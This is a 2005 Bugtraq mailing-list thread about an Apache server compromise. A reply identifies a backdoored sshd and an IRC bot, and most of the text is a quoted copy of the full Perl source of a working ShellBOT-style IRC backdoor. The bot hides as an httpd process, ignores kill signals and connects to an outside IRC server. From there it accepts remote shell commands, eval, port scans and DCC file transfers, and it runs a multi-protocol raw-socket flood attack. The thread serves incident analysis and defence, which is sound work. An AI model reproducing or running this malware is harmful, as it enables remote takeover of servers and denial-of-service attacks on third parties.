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Date: Fri, 29 Apr 2005 16:21:10 -0700
From: Robert Zilbauer <zilbauer@...ppy.org>
To: bugtraq@...urityfocus.com
Subject: Re: Apache hacks (./atac, d0s.txt)


At first glance I'd say your atac.tbz contains a vulnerability scanner (ps), a 
backdoored version of sshd (atac), a list of targets for the scanner 
(uniq.txt), and a scan log (log.bigsshf).

The perl script also looks like a newer version of a script I pulled from a 
compromised linux box a little while ago. The script you found claims to be 
version 1.0 ($VERSAO = '1.0') while the one I recovered was version 0.2. I 
believe it's designed to connect to an IRC server and offer services from 
your machine to people in a certain IRC channel (shell access, DOS attack, 
other stuff?). 

If it helps, the header of the script I found contained this: 

#!/usr/bin/perl
#
#  ShellBOT - FBI TEAM Corporation
#
#   0ldW0lf - effbeeye81@....com
#           - www.security.cnc.net
#           
#
#
################ CONFIGURACAO ###################################
my $processo = '/usr/local/apache/bin/httpd -DSSL';  # Nome do processo que 
vai aparece no ps  
#----------------################################################
my $linas_max='8';      # Evita o flood :) depois de X linhas 
#----------------################################################
...

In the FWIW file, this compromised linux box had been running a vulnerable 
version of the awstats CGI which is how this script (among other things) got 
in.



On Friday 29 April 2005 12:03 pm, Andrew Y Ng wrote:
> My server has been seeing some usual activities today, I don't have much
> time to get down to the bottom of things, but after I investigated briefly
> I have decided to disable PERL executable permission for www-data (Apache
> process's user), also locked /var/tmp so www-data cannot write to it.
>
> Looks like it ignores all the `kill` signals, not sure how I can actually
> kill it...
>
>
> I found the included script in /var/tmp called d0s.txt.
>
> I found a bunch of processes called ./atac 20 running, and found the
> following content in /tmp/atac:
>
> http://andrewng.com/tmp/atac.tbz
>
> here's d0s.txt:
>
> #!/usr/bin/perl
> ################ CONFIGURACAO
> ################################################################# my
> $processo = '/usr/local/apache/bin/httpd -DSSL';  # Nome do processo que
> vai aparece no ps       #
> #----------------------------------------------############################
>#################### my $MODOME='+pi';                               #  Modo
> Do Bot                                 #
> #----------------------------------------------############################
>#################### my $linas_max='10';                            # Evita
> o flood :) depois de X linhas          #
> #----------------------------------------------############################
>#################### my $sleep='3';                                 # ele
> dorme X segundos                         # ##################### IRC
> ##################################################################### my
> @adms=("DDOS");	                       # Nick do administrador             
>           #
> #----------------------------------------------############################
>#################### my @canais=("#bots ddos");# Canais                     
>                  #
> #----------------------------------------------############################
>#################### my $nick='b0t';                           # Nick do
> bot. Caso esteja em uso vai aparecer # #                                   
>           # aparecer com numero radonamico no final      #
> #----------------------------------------------############################
>#################### my $ircname = 'b0t';                      # User ID    
>                                  #
> #----------------------------------------------############################
>#################### my $realname = '..4A.dmin.14: .4..#..D.D.OS..';        
>                             #
> #----------------------------------------------############################
>#################### $servidor='irc.gigachat.net' unless $servidor; #
> Servidor de irc que vai ser usado            # #                           
>                   # caso não seja especificado no argumento      #
> #----------------------------------------------############################
>#################### my $porta='6667';	                       # Porta do
> servidor de irc                     # ################ ACESSO A SHELL
> ############################################################### my $secv =
> 1;	                               # 1/0 pra habilita/desabilita acesso a
> shell   #
> ###########################################################################
>####################
>
> my $VERSAO = '1.0';
>
> $SIG{'INT'} = 'IGNORE';
> $SIG{'HUP'} = 'IGNORE';
> $SIG{'TERM'} = 'IGNORE';
> $SIG{'CHLD'} = 'IGNORE';
> $SIG{'PS'} = 'IGNORE';
>
> use IO::Socket;
> use Socket;
> use IO::Select;
> chdir("/");
> $servidor="$ARGV[0]" if $ARGV[0];
> $0="$processo"."\0"x16;;
> my $pid=fork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>
>
>
> our %irc_servers;
> our %DCC;
> my $dcc_sel = new IO::Select->new();
>
>
> $sel_cliente = IO::Select->new();
> sub sendraw {
>   if ($#_ == '1') {
>     my $socket = $_[0];
>     print $socket "$_[1]\n";
>   } else {
>       print $IRC_cur_socket "$_[0]\n";
>   }
> }
>
> sub conectar {
>    my $meunick = $_[0];
>    my $servidor_con = $_[1];
>    my $porta_con = $_[2];
>
>    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
> PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if
> (defined($IRC_socket)) {
>      $IRC_cur_socket = $IRC_socket;
>
>      $IRC_socket->autoflush(1);
>      $sel_cliente->add($IRC_socket);
>
>      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
>      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
>      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
>      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
>      nick("$meunick");
>      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con
> :$realname"); sleep 1;
>    }
>
> }
> my $line_temp;
> while( 1 ) {
>    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor",
> "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''}));
>    &DCC::connections;
>    my @ready = $sel_cliente->can_read(0);
>    next unless(@ready);
>    foreach $fh (@ready) {
>      $IRC_cur_socket = $fh;
>      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
>      $nread = sysread($fh, $msg, 4096);
>      if ($nread == 0) {
>         $sel_cliente->remove($fh);
>         $fh->close;
>         delete($irc_servers{$fh});
>      }
>      @lines = split (/\n/, $msg);
>
>      for(my $c=0; $c<= $#lines; $c++) {
>        $line = $lines[$c];
>        $line=$line_temp.$line if ($line_temp);
>        $line_temp='';
>        $line =~ s/\r$//;
>        unless ($c == $#lines) {
>          parse("$line");
>        } else {
>            if ($#lines == 0) {
>              parse("$line");
>            } elsif ($lines[$c] =~ /\r$/) {
>                parse("$line");
>            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
>                parse("$line");
>            } else {
>                $line_temp = $line;
>            }
>        }
>       }
>    }
> }
>
>
>
> sub parse {
>    my $servarg = shift;
>    if ($servarg =~ /^PING \:(.*)/) {
>      sendraw("PONG :$1");
>    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
>        my $pn=$1; my $onde = $4; my $args = $5;
>        if ($args =~ /^\001VERSION\001$/) {
>          notice("$pn", "\001Bot powered by DDOS TEAM\001");
>        }
>        if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
>          if ($onde eq "$meunick"){
>            shell("$pn", "$args");
>          }
>          if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
>             my $natrix = $1;
>             my $arg = $2;
>             if ($arg =~ /^\!(.*)/) {
>               ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg
> =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) {
>                 $ondep = $onde;
>                 $ondep = $pn if $onde eq $meunick;
>                 bfunc("$ondep","$1");
>             } else {
>                 shell("$onde", "$arg");
>             }
>          }
>        }
>    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
>        if (lc($1) eq lc($meunick)) {
>          $meunick=$4;
>          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
>        }
>    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
>        nick("$meunick".int rand(9999));
>    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
>        $meunick = $2;
>        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
>        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
>        foreach my $canal (@canais) {
>          print "$0 Executado \n";
>          sendraw("JOIN $canal");
>        	 sendraw("MODE $meunick $MODOME");
> 	 sendraw("PRIVMSG $canal :Modo Alterado Para.4 $MODOME");
>        }
>    }
> }
>
> sub bfunc {
>   my $printl = $_[0];
>   my $funcarg = $_[1];
>   if (my $pid = fork) {
>      waitpid($pid, 0);
>   } else {
>       if (fork) {
>          exit;
>        } else {
>            if ($funcarg =~ /^portscan (.*)/) {
>              my $hostip="$1";
>              my @portas=("21","22","23","25","53","80","110","143");
>              my (@aberta, %porta_banner);
>              foreach my $porta (@portas)  {
>                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip,
> PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) {
>                    push (@aberta, $porta);
>                    $scansock->close;
>                 }
>              }
>
>              if (@aberta) {
>                sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas:
> @aberta"); } else {
>                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta
> aberta foi encontrada"); }
>            }
>            if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
>              my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
>              $dtime = 1 if $dtime == 0;
>              my %bytes;
>              $bytes{igmp} = $2 * $pacotes{igmp};
>              $bytes{icmp} = $2 * $pacotes{icmp};
>              $bytes{o} = $2 * $pacotes{o};
>              $bytes{udp} = $2 * $pacotes{udp};
>              $bytes{tcp} = $2 * $pacotes{tcp};
>
>              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002:
> $dtime"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de
> envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} +
> $bytes{o})/1024)/$dtime)." kbps");
>
>
>            }
>            exit;
>        }
>   }
> }
>
> sub ircase {
>   my ($kem, $printl, $case) = @_;
>
>   if ($case =~ /^join (.*)/) {
>      j("$1");
>    }
>    if ($case =~ /^part (.*)/) {
>       p("$1");
>    }
>    if ($case =~ /^rejoin\s+(.*)/) {
>       my $chan = $1;
>       if ($chan =~ /^(\d+) (.*)/) {
>         for (my $ca = 1; $ca <= $1; $ca++ ) {
>           p("$2");
>           j("$2");
>         }
>       } else {
>           p("$chan");
>           j("$chan");
>       }
>    }
>    if ($case =~ /^op/) {
>       op("$printl", "$kem") if $case eq "op";
>       my $oarg = substr($case, 3);
>       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
>    }
>    if ($case =~ /^deop/) {
>       deop("$printl", "$kem") if $case eq "deop";
>       my $oarg = substr($case, 5);
>       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
>    }
>    if ($case =~ /^voice/) {
>       voice("$printl", "$kem") if $case eq "voice";
>       $oarg = substr($case, 6);
>       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
>    }
>    if ($case =~ /^devoice/) {
>       devoice("$printl", "$kem") if $case eq "devoice";
>       $oarg = substr($case, 8);
>       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
>    }
>    if ($case =~ /^msg\s+(\S+) (.*)/) {
>       msg("$1", "$2");
>    }
>    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
>       for (my $cf = 1; $cf <= $1; $cf++) {
>         msg("$2", "$3");
>       }
>    }
>    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
>       ctcp("$1", "$2");
>    }
>    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
>       for (my $cf = 1; $cf <= $1; $cf++) {
>         ctcp("$2", "$3");
>       }
>    }
>    if ($case =~ /^invite\s+(\S+) (.*)/) {
>       invite("$1", "$2");
>    }
>    if ($case =~ /^nick (.*)/) {
>       nick("$1");
>    }
>    if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
>        conectar("$2", "$1", 6667);
>    }
>    if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
>       DCC::SEND("$1", "$2");
>    }
>    if ($case =~ /^raw (.*)/) {
>       sendraw("$1");
>    }
>    if ($case =~ /^eval (.*)/) {
>      eval "$1";
>    }
> }
> sub shell {
>   return unless $secv;
>   my $printl=$_[0];
>   my $comando=$_[1];
>   if ($comando =~ /cd (.*)/) {
>     chdir("$1") || msg("$printl", "Diertório inexistente!");
>     return;
>   }
>   elsif ($pid = fork) {
>      waitpid($pid, 0);
>   } else {
>       if (fork) {
>          exit;
>        } else {
>            my @resp=`$comando 2>&1 3>&1`;
>            my $c=0;
>            foreach my $linha (@resp) {
>              $c++;
>              chop $linha;
>              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
>              if ($c == "$linas_max") {
>                $c=0;
>                sleep $sleep;
>              }
>            }
>            exit;
>        }
>   }
> }
>
> #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
> sub attacker {
>   my $iaddr = inet_aton($_[0]);
>   my $msg = 'B' x $_[1];
>   my $ftime = $_[2];
>   my $cp = 0;
>   my (%pacotes);
>   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} =
> $pacotes{tcp} = 0;
>
>   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
>   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
>   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
>   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
>   return(undef) if $cp == 4;
>   my $itime = time;
>   my ($cur_time);
>   while ( 1 ) {
>      for (my $porta = 1; $porta <= 65000; $porta++) {
>        $cur_time = time - $itime;
>        last if $cur_time >= $ftime;
>        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{tcp}++;
>
>        # DoS ?? :P
>        for (my $pc = 3; $pc <= 255;$pc++) {
>          next if $pc == 6;
>          $cur_time = time - $itime;
>          last if $cur_time >= $ftime;
>          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
>          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{o}++;; }
>      }
>      last if $cur_time >= $ftime;
>   }
>   return($cur_time, %pacotes);
> }
>
>
>
> #############
> #  ALIASES  #
> #############
>
> sub action {
>    return unless $#_ == 1;
>    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
> }
>
> sub ctcp {
>    return unless $#_ == 1;
>    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
> }
> sub msg {
>    return unless $#_ == 1;
>    sendraw("PRIVMSG $_[0] :$_[1]");
> }
>
> sub notice {
>    return unless $#_ == 1;
>    sendraw("NOTICE $_[0] :$_[1]");
> }
>
> sub op {
>    return unless $#_ == 1;
>    sendraw("MODE $_[0] +o $_[1]");
> }
> sub deop {
>    return unless $#_ == 1;
>    sendraw("MODE $_[0] -o $_[1]");
> }
> sub hop {
>     return unless $#_ == 1;
>    sendraw("MODE $_[0] +h $_[1]");
> }
> sub dehop {
>    return unless $#_ == 1;
>    sendraw("MODE $_[0] +h $_[1]");
> }
> sub voice {
>    return unless $#_ == 1;
>    sendraw("MODE $_[0] +v $_[1]");
> }
> sub devoice {
>    return unless $#_ == 1;
>    sendraw("MODE $_[0] -v $_[1]");
> }
> sub ban {
>    return unless $#_ == 1;
>    sendraw("MODE $_[0] +b $_[1]");
> }
> sub unban {
>    return unless $#_ == 1;
>    sendraw("MODE $_[0] -b $_[1]");
> }
> sub kick {
>    return unless $#_ == 1;
>    sendraw("KICK $_[0] $_[1] :$_[2]");
> }
>
> sub modo {
>    return unless $#_ == 0;
>    sendraw("MODE $_[0] $_[1]");
> }
> sub mode { modo(@_); }
>
> sub j { &join(@_); }
> sub join {
>    return unless $#_ == 0;
>    sendraw("JOIN $_[0]");
> }
> sub p { part(@_); }
> sub part {sendraw("PART $_[0]");}
>
> sub nick {
>   return unless $#_ == 0;
>   sendraw("NICK $_[0]");
> }
>
> sub invite {
>    return unless $#_ == 1;
>    sendraw("INVITE $_[1] $_[0]");
> }
> sub topico {
>    return unless $#_ == 1;
>    sendraw("TOPIC $_[0] $_[1]");
> }
> sub topic { topico(@_); }
>
> sub whois {
>   return unless $#_ == 0;
>   sendraw("WHOIS $_[0]");
> }
> sub who {
>   return unless $#_ == 0;
>   sendraw("WHO $_[0]");
> }
> sub names {
>   return unless $#_ == 0;
>   sendraw("NAMES $_[0]");
> }
> sub away {
>   sendraw("AWAY $_[0]");
> }
> sub back { away(); }
> sub quit {
>   sendraw("QUIT :$_[0]");
> }
>
>
>
> # DCC
> package DCC;
>
> sub connections {
>    my @ready = $dcc_sel->can_read(1);
> #   return unless (@ready);
>    foreach my $fh (@ready) {
>      my $dcctipo = $DCC{$fh}{tipo};
>      my $arquivo = $DCC{$fh}{arquivo};
>      my $bytes = $DCC{$fh}{bytes};
>      my $cur_byte = $DCC{$fh}{curbyte};
>      my $nick = $DCC{$fh}{nick};
>
>      my $msg;
>      my $nread = sysread($fh, $msg, 10240);
>
>      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
>         $DCC{$fh}{status} = "Cancelado";
>         $DCC{$fh}{ftime} = time;
>         $dcc_sel->remove($fh);
>         $fh->close;
>         next;
>      }
>
>      if ($dcctipo eq "get") {
>         $DCC{$fh}{curbyte} += length($msg);
>
>         my $cur_byte = $DCC{$fh}{curbyte};
>
>         open(FILE, ">> $arquivo");
>         print FILE "$msg" if ($cur_byte <= $bytes);
>         close(FILE);
>
>         my $packbyte = pack("N", $cur_byte);
>         print $fh "$packbyte";
>
>         if ($bytes == $cur_byte) {
>            $dcc_sel->remove($fh);
>            $fh->close;
>            $DCC{$fh}{status} = "Recebido";
>            $DCC{$fh}{ftime} = time;
>            next;
>         }
>      } elsif ($dcctipo eq "send") {
>           my $send = $fh->accept;
>           $send->autoflush(1);
>           $dcc_sel->add($send);
>           $dcc_sel->remove($fh);
>           $DCC{$send}{tipo} = 'sendcon';
>           $DCC{$send}{itime} = time;
>           $DCC{$send}{nick} = $nick;
>           $DCC{$send}{bytes} = $bytes;
>           $DCC{$send}{curbyte} = 0;
>           $DCC{$send}{arquivo} = $arquivo;
>           $DCC{$send}{ip} = $send->peerhost;
>           $DCC{$send}{porta} = $send->peerport;
>           $DCC{$send}{status} = "Enviando";
>
>           #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com
> o sendcon open(FILE, "< $arquivo");
>           my $fbytes;
>           read(FILE, $fbytes, 1024);
>           print $send "$fbytes";
>           close FILE;
> #          delete($DCC{$fh});
>      } elsif ($dcctipo eq 'sendcon') {
>           my $bytes_sended = unpack("N", $msg);
>           $DCC{$fh}{curbyte} = $bytes_sended;
>           if ($bytes_sended == $bytes) {
>              $fh->close;
>              $dcc_sel->remove($fh);
>              $DCC{$fh}{status} = "Enviado";
>              $DCC{$fh}{ftime} = time;
>              next;
>           }
>           open(SENDFILE, "< $arquivo");
>           seek(SENDFILE, $bytes_sended, 0);
>           my $send_bytes;
>           read(SENDFILE, $send_bytes, 1024);
>           print $fh "$send_bytes";
>           close(SENDFILE);
>      }
>    }
> }
>
>
> sub SEND {
>   my ($nick, $arquivo) = @_;
>   unless (-r "$arquivo") {
>     return(0);
>   }
>
>   my $dccark = $arquivo;
>   $dccark =~ s/[.*\/](\S+)/$1/;
>
>   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
>   my $longip = unpack("N",inet_aton($meuip));
>
>   my @filestat = stat($arquivo);
>   my $size_total=$filestat[7];
>   if ($size_total == 0) {
>      return(0);
>   }
>
>   my ($porta, $sendsock);
>   do {
>     $porta = int rand(64511);
>     $porta += 1024;
>     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto
> => 'tcp') and $dcc_sel->add($sendsock); } until $sendsock;
>
>   $DCC{$sendsock}{tipo} = 'send';
>   $DCC{$sendsock}{nick} = $nick;
>   $DCC{$sendsock}{bytes} = $size_total;
>   $DCC{$sendsock}{arquivo} = $arquivo;
>
>
>   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
>
> }
>
> sub GET {
>   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
>   return(0) if (-e "$arquivo");
>   if (open(FILE, "> $arquivo")) {
>      close FILE;
>   } else {
>     return(0);
>   }
>
>   my $dccip=fixaddr($dcclongip);
>   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
>   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip,
> PeerPort=>$dccporta, Timeout=>15) or return (0); $dccsock->autoflush(1);
>   $dcc_sel->add($dccsock);
>   $DCC{$dccsock}{tipo} = 'get';
>   $DCC{$dccsock}{itime} = time;
>   $DCC{$dccsock}{nick} = $nick;
>   $DCC{$dccsock}{bytes} = $bytes;
>   $DCC{$dccsock}{curbyte} = 0;
>   $DCC{$dccsock}{arquivo} = $arquivo;
>   $DCC{$dccsock}{ip} = $dccip;
>   $DCC{$dccsock}{porta} = $dccporta;
>   $DCC{$dccsock}{status} = "Recebendo";
> }
>
> # po fico xato de organiza o status.. dai fiz ele retorna o status de
> acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas sub
> Status {
>   my $socket = shift;
>   my $sock_tipo = $DCC{$socket}{tipo};
>   unless (lc($sock_tipo) eq "chat") {
>     my $nick = $DCC{$socket}{nick};
>     my $arquivo = $DCC{$socket}{arquivo};
>     my $itime = $DCC{$socket}{itime};
>     my $ftime = time;
>     my $status = $DCC{$socket}{status};
>     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
>
>     my $d_time = $ftime-$itime;
>
>     my $cur_byte = $DCC{$socket}{curbyte};
>     my $bytes_total =  $DCC{$socket}{bytes};
>
>     my $rate = 0;
>     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
>     my $porcen = ($cur_byte*100)/$bytes_total;
>
>     my ($r_duv, $p_duv);
>     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
>        $r_duv = $3; $r_duv++ if $4 >= 5;
>        $rate = "$1\.$2"."$r_duv";
>     }
>     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
>        $p_duv = $3; $p_duv++ if $4 >= 5;
>        $porcen = "$1\.$2"."$p_duv";
>     }
>     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total",
> "$cur_byte","$d_time", "$rate", "$porcen"); }
>
>
>   return(0);
> }
>
>
> sub fixaddr {
>     my ($address) = @_;
>
>     chomp $address;     # just in case, sigh.
>     if ($address =~ /^\d+$/) {
>         return inet_ntoa(pack "N", $address);
>     } elsif ($address =~
> /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { return
> $address;
>     } elsif ($address =~ tr/a-zA-Z//) {
>         return inet_ntoa(((gethostbyname($address))[4])[0]);
>     } else {
>         return;
>     }
> }

-- 
"Kids today need discipline. It's not a popular word these days:
discipline.  I know Principal Flutie would have said, 'Kids need
understanding.   Kids  are  human  beings.'  That's the  kind of 
wooly-headed  liberal  thinking  that  leads  to  being  eaten." 
           - Principal Snyder, Buffy the Vampire Slayer #9


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